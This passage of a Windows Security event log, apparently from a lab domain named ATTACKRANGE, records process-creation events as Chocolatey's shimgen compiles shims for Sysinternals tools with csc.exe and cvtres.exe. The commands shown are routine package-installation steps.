Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246548
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd60
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd64
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Listdlls.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_9897\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246594
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246593
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\logonsessions64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246592
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246591
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x520
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\logonsessions64.exe" --output="C:\ProgramData\chocolatey\bin\logonsessions64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\logonsessions64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246590
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDB09.tmp" "c:\ProgramData\chocolatey\bin\CSCA40A18CB7DEA46E791C3588238F230.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246589
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246588
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\logonsessions.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246587
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb4c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246586
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf4c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\logonsessions.exe" --output="C:\ProgramData\chocolatey\bin\logonsessions.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\logonsessions.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246585
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x52c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDA2E.tmp" "c:\ProgramData\chocolatey\bin\CSCF0D436DB6B87434D8A4DCCCCCDEE5968.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246584
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf2c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x52c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246583
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x52c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\LoadOrdC64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246582
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc64
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xee4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246581
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\LoadOrdC64.exe" --output="C:\ProgramData\chocolatey\bin\LoadOrdC64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\LoadOrdC64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246580
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD953.tmp" "c:\ProgramData\chocolatey\bin\CSCF12BF2566892456B8A9CB3A43CF51457.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246579
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd24
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

